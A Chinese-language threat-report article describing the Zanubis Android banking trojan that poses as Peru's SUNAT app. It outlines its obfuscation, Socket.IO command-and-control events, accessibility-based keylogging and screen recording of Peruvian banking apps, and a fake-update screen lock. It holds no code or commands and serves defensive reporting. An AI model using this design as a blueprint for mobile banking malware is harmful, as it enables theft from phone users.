研究人員在2023年4月左右在野外發現了很多Zanubis樣本,該惡意程序偽裝成秘魯政府組織SUNAT的官方Android應用程序。研究人員探索了惡意程序的新設計和功能,它似乎經歷了幾個階段的演變,達到了一個新的複雜程度。

Zanubis是在Obfuscapk的幫助下進行混淆的,Obfuscapk是一個流行的Android APK文件混淆處理程序。在受害者授予惡意應用程序訪問權限後,就可以允許其在後台運行。惡意程序使用WebView加載用於查找債務的合法SUNAT網站,這裡的目的是讓毫無戒心的用戶相信該應用程序是SUNAT服務生態系統的一部分。

與C2的通信依賴於WebSockets和稱為Socket.IO的庫,後者允許惡意程序建立到C2的持久連接,這提供了故障轉移選項(從WebSockets到HTTP,反之亦然)。另一個優點是,它為C2提供了一個可擴展的環境,如果需要,Zanubis的所有新感染都可以大規模地從C2接收命令(也稱為事件)。一旦惡意程序啟動,植入程序就會調用一個函數來檢查與C2的連接,它建立到同一C2服務器的兩個連接,但它們執行不同類型的操作,並且只有在C2請求時才建立第二個連接。

Zanubis沒有使用預先填充和硬編碼的目標應用程序列表。近年來,惡意程序開發人員傾向於在目標列表中添加或刪除應用程序的名稱,為了在植入程序上設置目標應用程序,C2發送事件config_packages。隨事件一起發送的JSON對象包含一個數組,該數組指定惡意程序應監控的應用程序,每當屏幕上發生事件時,惡意程序就會解析目標應用程序的列表,例如惡意程序使用onAccessibilityEvent函數檢測到的應用程序打開。一旦發現列表上的應用程序在設備上運行,Zanubis就會根據其配置採取兩種操作來竊取受害者的信息:記錄事件/密鑰,或錄屏。

之前,研究人員提到初始化來自受感染設備的第二個連接,這為C2提供了更多選項。 Zanubis建立這個新連接後,它會向服務器發送一個VncInit事件,通知它第二個功能集的初始化已經完成,並且它會每秒發送關於屏幕渲染的信息,例如顯示大小。研究人員可以假設這是運營商控製或後門感染手機的一種方式。

第二個集合中一個有趣的功能是bloqueoUpdate事件。這是惡意程序採取的最具攻擊性和說服力的行動之一,它假裝是Android更新,從而阻止手機被使用,隨著“更新”的運行,手機仍然無法使用,以至於無法鎖定或解鎖,因為惡意程序會監控並阻止這些嘗試。

3.png

虛假更新將用戶鎖定在手機之外

根據研究人員的分析,目標申請是秘魯的銀行和金融實體。另外,根據研究人員的監測數據,他們確定Zanubis專門針對該國的用戶,目標應用程序列表包含40多個程序包名稱。截止目前,收集的Zanubis樣本能夠感染任何Android手機,但它們都是以西班牙語作為系統語言編寫的。

總結惡意程序在不斷發展,Lumma竊取程序就是一個例子,它有多種功能各異的變體。

Zanubis目標是成為一個功能齊全的銀行木馬,可以造成經濟損失並竊取移動用戶的個人數據,惡意代碼和攻擊者TTP的不斷變化對防禦團隊來說是一個挑戰。